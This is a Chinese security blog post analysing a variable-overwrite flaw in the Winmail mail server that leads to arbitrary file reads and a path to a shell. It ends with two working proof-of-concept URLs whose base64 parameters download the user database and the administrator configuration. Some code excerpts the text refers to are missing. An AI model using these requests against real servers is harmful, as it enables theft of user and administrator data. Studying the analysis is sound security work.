您当前位置: 首页 » 代码审计 » winmail数据库覆盖getshell分析(附poc)

winmail数据库覆盖getshell分析(附poc)

2017年1月28日 | 发表评论(0) 查看评论

接着作者的漏洞进行分析

winmail中全局变量全部在./inc/config.php中定义。如果出现变量覆盖漏洞则可以覆盖任意全局变量。

根据作者思路先看wap.php这个文件。

当wap.php?dest=index时调用index.php文件

观察index.php(位于../wap/index.php)

在这段代码中,可控变量有$logoimage $f_domain 控制$logoimage可控制文件后缀和文件内容,$f_domain可控制文件名

由此一个写入特定后缀文件的漏洞形成。但只局限于jpg gif png等。并不能得到权限。

 

在viewsharenetdisk.php中

parse_str存在变量覆盖漏洞。$f可被覆盖。 需要base64加密,之后的变量在没有重新赋值时便可任意控制

按照流程走下来。需要验证$chknum和$itemcode。 这两个变量可以覆盖,但是不知道userinfo的md5值。

网上看userinfo由

获得。

而sql中有new sqlite带入一个变量

这里的$file 由mailuser_dbfile传入。 mailuser_dbfile是在全局中定义的,此时可覆盖。

 

下载用户数据
viewsharenetdisk.php?userid=admin&f=bWFpbHVzZXJfZGJmaWxlPS5cY3VzdG9tZXJcZmdoZmdmZ2hmMV9sb2dvLmpwZyZ1c2VyY29kZT1kMWRmZDg4YTgwZTVjOWU4OTU2ODZhM2ZiYmUwMDI3OSZvcHQ9ZG93bmxvYWQmZmlsZW5hbWU9WEM0dUx5NHVMMlJoZEdFdmJXRnBiSFZ6WlhJdVpHST0maXRlbWNvZGU9YTMwMzk4ODJhMDk1M2RmM2E4NDBlOTVkZjBhNDg3NjImY2hrc3VtPTM1OGE2OTJlODk4OWQ0NDVhZGQ2YjU1OGNjYjU1Y2UxJnN0YXJ0PTEmbmV0ZGlza19zaGFyZV9leHBpcmU9MTQ3OTg2NTY5MzE=

 

下载管理员数据

viewsharenetdisk.php?userid=admin&f=bWFpbHVzZXJfZGJmaWxlPS5cY3VzdG9tZXJcZmdoZmdmZ2hmMV9sb2dvLmpwZyZ1c2VyY29kZT1kMWRmZDg4YTgwZTVjOWU4OTU2ODZhM2ZiYmUwMDI3OSZvcHQ9ZG93bmxvYWQmZmlsZW5hbWU9WEM0dUx5NHVMMlJoZEdFdllXUnRhVzUxYzJWeUxtTm1adz09Jml0ZW1jb2RlPTZhNzgzMTMzMjE5OGU0ZDU1NmQyYWY5ZDYxZWI4ZmIwJmNoa3N1bT1kYWI4YTQwN2JhMGFjOGRhYThhZjQyN2Q2NDU0OTQzZiZzdGFydD0xJm5ldGRpc2tfc2hhcmVfZXhwaXJlPTE0Nzk4NjU2OTMx

分类:

代码审计

| 标签: